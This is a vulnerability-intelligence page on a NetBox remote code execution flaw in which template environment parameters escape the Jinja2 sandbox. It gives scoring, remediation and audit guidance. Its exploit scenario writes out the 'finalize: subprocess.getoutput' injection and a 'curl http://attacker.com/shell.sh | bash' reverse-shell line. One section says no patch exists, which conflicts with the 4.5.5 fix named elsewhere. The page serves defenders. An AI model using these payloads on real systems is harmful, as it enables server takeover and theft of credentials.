Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessObtain NetBox credentials with template permissions
-
DeliveryAuthenticate to NetBox API/UI
-
ExploitCreate malicious ConfigTemplate with finalize: subprocess.getoutput
-
ExecutionRender template to trigger command execution
-
PersistExecute arbitrary Python/shell commands as NetBox service user
-
ImpactExfiltrate secrets or establish persistence
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A06:2025 - Insecure Design
ASVS 5.0
V2 - Validation and Business Logic Strict input allowlisting
|
| Exploitation Conditions | Attacker must possess valid NetBox credentials with either the exporttemplate permission (django.auth permission extras.add_exporttemplate) or configtemplate permission (extras.add_configtemplate). These permissions are commonly granted to network engineering teams, DevOps automation accounts, and mid-level administrators in typical NetBox role-based access control configurations. No other special conditions required-attack succeeds against default NetBox installations with network-accessible web interfaces (AV:N). Vulnerability exists in the core NetBox codebase, not an optional plugin, so all installations in the affected version range (4.3.5-4.5.4) are exploitable regardless of deployment architecture (bare-metal, Docker, Kubernetes). No user interaction required beyond the attacker's own template creation/rendering (UI:N). Attack complexity is low (AC:L) as the exploit requires only standard API calls or UI interactions with malicious JSON payloads-no race conditions, timing dependencies, or environment-specific quirks. Limiting factor: NetBox's default authentication is local username/password or LDAP/SAML SSO; attacker must first obtain credentials through phishing, credential stuffing, or compromise of an authenticated session. Organizations using strict IP allowlisting or VPN-only access reduce network exposure but do not eliminate risk from insider threats or compromised internal accounts. |
| Impact | High real-world risk despite requiring low-privilege authentication. CVSS 4.0 score of 8.7 reflects network attack vector (AV:N), low complexity (AC:L), and complete confidentiality/integrity/availability impact to the vulnerable system (VC:H/VI:H/VA:H) with no impact to subsequent systems (SC:N/SI:N/SA:N). The PR:L (low privilege required) is the primary gating factor-attackers need authenticated access with exporttemplate or configtemplate Django permissions, which are typically granted to network engineers and automation service accounts in NetBox deployments. Public proof-of-concept exists (Chocapikk advisory published before CVE assignment), lowering exploitation complexity to script-kiddie level. No CISA KEV listing or EPSS score provided in input data, suggesting exploitation is not yet widespread, but the combination of public exploit code + networked service + common permission model makes this a critical patching priority for NetBox operators. Organizations using NetBox for infrastructure-as-code or automated provisioning are especially vulnerable, as the service user often has elevated access to network devices and infrastructure APIs. Attack is fully automatable once credentials are obtained (UI:N), making it suitable for post-compromise lateral movement or persistence. The CVSS vector's zero subsequent-system impact (SC:N/SI:N/SA:N) may underestimate real risk if the NetBox service account has access to secrets, device credentials, or can modify network configurations. |
| Exploit ScenarioDerived | An attacker compromises a NetBox user account with exporttemplate permissions (common for network automation engineers or via credential stuffing against exposed instances). They authenticate to the NetBox web UI or API and navigate to the Export Templates section. Creating a new export template, they set the template_code field to {{ "whoami" }} and inject environment_params: {"finalize": "subprocess.getoutput"}. When any user (including themselves) renders this template-either manually via the UI or through NetBox's automated device configuration export-the finalize callback transforms every Jinja expression into command execution. The {{ "whoami" }} expression returns netbox (the service user) via subprocess.getoutput("whoami") executed outside the Jinja sandbox. The attacker escalates by modifying the template to {{ "curl http://attacker.com/shell.sh | bash" }}, achieving reverse shell as the NetBox service user, which typically has access to database credentials, device SSH keys stored in secrets, and API tokens for network infrastructure. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv2 – May 04, 2026
Remote code execution in NetBox 4.3.5-4.5.4 allows authenticated users with exporttemplate or configtemplate permissions to execute arbitrary Python code as the NetBox service user by injecting malicious callables into Jinja2 template environment parameters. Attackers bypass SandboxedEnvironment protections by setting the finalize parameter to dangerous imports like subprocess.getoutput, which executes on every rendered expression outside sandbox call interception. Public proof-of-concept exploit exists (chocapikk.com), and upstream patch available via GitHub PR #22078 implements an allowlist-based validation mechanism that blocks unauthorized callable resolution at both save-time and render-time.
Earlier versions of this analysis (1)
Remote code execution in NetBox 4.3.5-4.5.4 allows authenticated users with exporttemplate or configtemplate permissions to bypass Jinja2 sandbox protections and execute arbitrary Python code as the NetBox service user. Attackers exploit the RenderTemplateMixin.get_environment_params() method by setting the finalize parameter to malicious callables like subprocess.getoutput, which executes outside the sandbox's call interception. Public exploit code exists (chocapikk.com writeup) with EPSS indicating moderate exploitation probability. This is a critical privilege escalation path from low-privileged authenticated users to full server compromise.
RemediationAI
Upgrade to NetBox version 4.5.5 or later, which includes the patch from GitHub pull request #22078 implementing allowlist-based validation of Jinja2 environment parameters. The fix introduces JINJA_ENV_PARAM_IMPORT_ALLOWLIST that restricts the undefined parameter to four safe Jinja2.Undefined subclasses (jinja2.Undefined, jinja2.ChainableUndefined, jinja2.DebugUndefined, jinja2.StrictUndefined) and sets the finalize allowlist to an empty set, blocking all callable imports for finalize. Validation occurs at both model save-time (clean() method) and render-time (get_environment_params()) for defense-in-depth. Patched code available at https://github.com/netbox-community/netbox/pull/22078. If immediate upgrade is not feasible, implement compensating controls: (1) Audit and restrict exporttemplate and configtemplate Django permissions to only highly trusted administrators-remove these permissions from automation service accounts and junior operators; (2) Review all existing ConfigTemplate and ExportTemplate objects in the database for suspicious environment_params values containing dotted Python paths (SELECT id,name,environment_params FROM extras_configtemplate WHERE environment_params::text LIKE '%finalize%' OR environment_params::text LIKE '%subprocess%'); (3) Deploy web application firewall rules to block POST/PUT/PATCH requests to /api/extras/config-templates/ and /api/extras/export-templates/ endpoints containing environment_params.finalize or environment_params with non-allowlisted import paths; note this breaks legitimate undefined customization and may cause operational disruption. (4) Run NetBox service under a restricted user account with minimal filesystem and network access, and enable mandatory access controls (SELinux, AppArmor) to limit post-exploitation impact; this does NOT prevent RCE but contains lateral movement. No viable workaround fully mitigates the vulnerability without breaking template functionality.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
NetBox is a Python-based infrastructure resource modeling (IPAM/DCIM) application used by network engineers. The vulnerable code exists in the RenderTemplateMixin.get_environment_params() method within the extras module (extras/models/mixins.py), which processes user-controlled environment_params fields for Jinja2 template rendering. The root cause (CWE-183: Permissive List of Allowed Inputs) stems from allowing arbitrary dotted Python paths to be resolved via Django's import_string() utility for Jinja environment parameters like finalize and undefined. While NetBox intended to render templates in a Jinja2 SandboxedEnvironment, the finalize callback parameter is invoked on every template expression result before the sandbox's call interception mechanism activates. By specifying finalize: subprocess.getoutput in the environment_params JSON field, attackers transform every Jinja expression into arbitrary command execution-e.g., {{ "id" }} becomes subprocess.getoutput("id") executed directly on the host. The patch introduces JINJA_ENV_PARAM_IMPORT_ALLOWLIST in extras/constants.py, restricting the undefined parameter to four safe Jinja2 classes and setting the finalize allowlist to an empty frozenset, effectively blocking all callable imports for finalize. Validation occurs both at model save-time (clean() method) and defensively at render-time (get_environment_params()), preventing exploitation of legacy data or direct database writes.
Know when Netbox gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Primary rating from NVD · only source for this CVE.
CVSS VectorNVD
Lifecycle Timeline
3DescriptionCVE.org
NetBox versions 4.3.5 through 4.5.4 contain a remote code execution vulnerability in the RenderTemplateMixin.get_environment_params() method that allows authenticated users with exporttemplate or configtemplate permissions to execute arbitrary code by specifying malicious Python callables in the environment_params field. Attackers can bypass Jinja2 SandboxedEnvironment protections by setting the finalize parameter to any importable Python callable such as subprocess.getoutput, which is invoked on every rendered expression outside the sandbox's call interception mechanism, achieving remote code execution as the NetBox service user.
Executive ViewAI
NetBox versions 4.3.5 through 4.5.4 contain a remote code execution vulnerability that allows authenticated users with template management permissions to execute arbitrary commands on the NetBox server. This vulnerability directly compromises the integrity and confidentiality of network infrastructure data managed by NetBox, affecting any organization using vulnerable versions where users have template creation or editing rights.
No vendor-released patch identified at time of analysis. Interim mitigations: (1) Revoke exporttemplate and configtemplate permissions from all non-administrative users immediately; (2) Implement network-level access controls restricting template management interfaces to trusted IP ranges; (3) Monitor audit logs for template creation/modification events; (4) Deploy the upstream patch from GitHub PR #22078 if your deployment supports direct patching before official release.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.
A vulnerability in Netbox v3.5.1 allows unauthenticated attackers to execute queries against the GraphQL database, grant
Credential exposure in NetBox through 4.7.0 allows any authenticated user with only view-level permissions to retrieve p
A cross-site scripting vulnerability in Netbox Community 4.1.7 (CVSS 7.1). Risk factors: public PoC available.
Netbox Community v4.1.7 and fixed in v.4.2.2 is vulnerable to Cross Site Scripting (XSS) via the RSS feed widget.
In Netbox Community 4.1.7, the login page is vulnerable to cross-site scripting (XSS), which allows a privileged, authen
In Netbox Community 4.1.7, once authenticated, Configuration History > Add`is vulnerable to cross-site scripting (XSS) d
A cross-site scripting (XSS) vulnerability in netbox v4.0.3 allows attackers to execute arbitrary web scripts or HTML vi
A cross-site scripting (XSS) vulnerability in netbox v4.0.3 allows attackers to execute arbitrary web scripts or HTML vi
A cross-site scripting (XSS) vulnerability in netbox v4.0.3 allows attackers to execute arbitrary web scripts or HTML vi
A cross-site scripting (XSS) vulnerability in netbox v4.0.3 allows attackers to execute arbitrary web scripts or HTML vi
A cross-site scripting (XSS) vulnerability in netbox v4.0.3 allows attackers to execute arbitrary web scripts or HTML vi
A cross-site scripting (XSS) vulnerability in netbox v4.0.3 allows attackers to execute arbitrary web scripts or HTML vi
EUVD-2026-26997
NVD
CVE.org
EPSS
Vulnrichment
GitHub
VulDB
Exploit-DB